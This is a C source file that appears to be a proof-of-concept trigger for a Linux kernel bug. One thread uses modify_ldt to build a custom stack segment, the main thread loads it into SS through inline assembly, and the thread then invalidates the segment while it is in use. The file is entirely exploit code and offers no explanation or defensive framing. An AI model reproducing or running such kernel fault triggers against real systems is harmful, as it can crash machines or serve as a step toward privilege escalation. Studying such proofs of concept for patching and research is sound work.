/*
 * Copyright 2017 - Ren Kimura (@RKX1209)
 */
#include <asm/ldt.h>
#include <sys/types.h>
#include <time.h>
#include "defines.h"

int FLAG = 0;

void segManipulatorThread() {
    struct timespec req;
    struct user_desc new_stack_segment;
    req.tv_sec = 3;
    new_stack_segment.entry_number    = 0x12;
    new_stack_segment.base_addr       = FALSE_SS_BASE;
    new_stack_segment.limit           = 0xffff;
    new_stack_segment.seg_32bit       = 1;
    new_stack_segment.contents        = MODIFY_LDT_CONTENTS_STACK; /* Data, grow-up */
    new_stack_segment.read_exec_only  = 0;
    new_stack_segment.limit_in_pages  = 0;
    new_stack_segment.seg_not_present = 0;
    new_stack_segment.useable         = 0;
    new_stack_segment.lm = 0;
    // Create a new stack segment
    syscall3 (SYS_modify_ldt, 1, &new_stack_segment, sizeof(struct user_desc));

    // Wait for main thread to use new stack segment
    syscall2 (SYS_nanosleep, &req, 0);

    // Invalidate stack segment
    new_stack_segment.seg_not_present = 1;
    syscall3 (SYS_modify_ldt, 1, &new_stack_segment, sizeof(struct user_desc));
    FLAG = 1;
    req.tv_sec = 15;
    syscall2 (SYS_nanosleep, &req, 0);
    exit();
}
void main() {
  struct timespec req;
  int prot = PROT_READ|PROT_WRITE;
  int flags = MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE;
  req.tv_nsec = 0;
  sys_mmap(FALSE_SS_BASE, MAP_SIZE, prot, flags, -1, 0);

  thread_create (segManipulatorThread);

  // Wait for segManipulatorThread to create new stack segment
  req.tv_sec = 1;
  syscall2 (SYS_nanosleep, &req, 0);

  //Set  stack segment to newly created one in segManipulatorThread
  __asm__("mov %%ss, %0;"
    :
    :"r" (0x97)
  );

  while (FLAG == 0) {}
  req.tv_sec = 4;
  syscall2 (SYS_nanosleep, &req, 0);
  exit();
}